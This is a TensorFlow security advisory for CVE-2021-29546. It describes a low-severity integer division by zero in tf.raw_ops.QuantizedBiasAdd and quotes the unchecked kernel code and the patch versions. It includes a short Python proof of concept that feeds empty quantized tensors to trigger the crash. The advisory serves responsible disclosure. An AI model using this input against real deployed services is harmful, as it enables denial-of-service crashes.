Division by 0 in `QuantizedBiasAdd`

Low mihaimaruseac published GHSA-m34j-p8rj-wjxq on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger an integer division by zero undefined behavior in `tf.raw_ops.QuantizedBiasAdd`:

```
import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
bias = tf.constant([], shape=[0], dtype=tf.quint8)
min_input = tf.constant(-10.0, dtype=tf.float32)
max_input = tf.constant(-10.0, dtype=tf.float32)
min_bias = tf.constant(-10.0, dtype=tf.float32)
max_bias = tf.constant(-10.0, dtype=tf.float32)

tf.raw_ops.QuantizedBiasAdd(input=input_tensor, bias=bias, min_input=min_input,
                            max_input=max_input, min_bias=min_bias,
                            max_bias=max_bias, out_type=tf.qint32)
```

This is because the implementation of the Eigen kernel does a division by the number of elements of the smaller input (based on shape) without checking that this is not zero:

```
template <typename T1, typename T2, typename T3>
void QuantizedAddUsingEigen(const Eigen::ThreadPoolDevice& device,
                            const Tensor& input, float input_min,
                            float input_max, const Tensor& smaller_input,
                            float smaller_input_min, float smaller_input_max,
                            Tensor* output, float* output_min,
                            float* output_max) {
  ...
  const int64 input_element_count = input.NumElements();
  const int64 smaller_input_element_count = smaller_input.NumElements();
  ...
  bcast[0] = input_element_count / smaller_input_element_count;
  ...
}
```

This integral division by 0 is undefined behavior.

Patches

We have patched the issue in GitHub commit 67784700869470d65d5f2ef20aeb5e97c31673cb.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29546

Weaknesses

No CWEs